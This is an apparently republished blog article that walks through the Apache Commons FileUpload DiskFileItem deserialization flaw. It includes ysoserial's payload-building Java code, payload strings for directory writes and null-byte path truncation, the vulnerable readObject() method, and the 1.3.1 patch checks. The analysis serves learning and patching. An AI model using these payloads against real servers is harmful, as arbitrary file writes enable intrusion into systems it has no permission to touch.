How to Exploit Apache Commons FileUpload Deserialization: Payloads, Code Walkthrough, and Fixes
This article dissects the Apache Commons FileUpload DiskFileItem deserialization flaw, explains how readObject can be abused to write arbitrary files or directories depending on FileUpload and JDK versions, demonstrates payload construction with ysoserial, provides full Java code analysis, and outlines mitigation strategies.
Vulnerability Source
The flaw resides in DiskFileItem 's readObject() method, which performs file write operations during deserialization. Deserializing a crafted DiskFileItem object triggers readObject(), enabling arbitrary file or directory writes.
The impact varies with the version of commons-fileupload and the JDK:
FileUpload < 1.3.1 combined with JDK < 1.7 allows writing any file.
FileUpload < 1.3.1 with JDK ≥ 1.7 permits writing to any directory.
FileUpload ≥ 1.3.1 can only write to a specific existing directory, and the file name cannot be controlled.
Impact Scope
Versions commons-fileupload ≤ 1.3.2 are vulnerable.
Payload Construction
Testing with FileUpload 1.3 on JDK 1.8 (writes to any directory) uses the payload {"write;cve1000031;123456"}, which writes the string 123456 into the directory cve1000031. The payload is generated by ysoserial.payloads.FileUpload1::makePayload():
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("testxxx", "application/octet-stream", false, "testxxx", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.setField(dfos, "written", data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}When the payload is deserialized, the readObject() method writes the content to the target file:
The resulting file path is
cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmpcontaining 123456.
Vulnerability Analysis – Scenario 1
Environment: FileUpload 1.3 + JDK 1.7. Deserialization invokes
org.apache.commons.fileupload.disk.DiskFileItem::readObject().
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
OutputStream output = getOutputStream();
if (cachedContent != null) {
output.write(cachedContent);
} else {
FileInputStream input = new FileInputStream(dfosFile);
IOUtils.copy(input, output);
dfosFile.delete();
dfosFile = null;
}
output.close();
cachedContent = null;
}Vulnerability Analysis – Scenario 2
Using FileUpload 1.3 with JDK 1.6 enables arbitrary file write via a null‑character path truncation. Payload {"writeOld;cve1000031.txt;123456"} sets repoPath to cve1000031.txt\0, causing the file name after \0 to be ignored and writing 123456 directly to cve1000031.txt.
JDK 7+ adds checks for null characters in file paths, preventing this technique; earlier JDK versions allow the truncation.
Vulnerability Analysis – Scenario 3
Environment: FileUpload 1.3.1 + JDK 1.7. The patched readObject() validates the repository path, rejecting paths containing a null character or non‑directory locations, thus limiting the exploit to the temporary directory only.
if (repository != null) {
if (repository.isDirectory()) {
if (repository.getPath().contains("\0")) {
throw new IOException(String.format("The repository [%s] contains a null character", repository.getPath()));
}
} else {
throw new IOException(String.format("The repository [%s] is not a directory", repository.getAbsolutePath()));
}
} else {
throw new IOException("Repository is null");
}Consequently, only writes to the designated temporary directory are possible.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Programmer DD
A tinkering programmer and author of "Spring Cloud Microservices in Action"
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
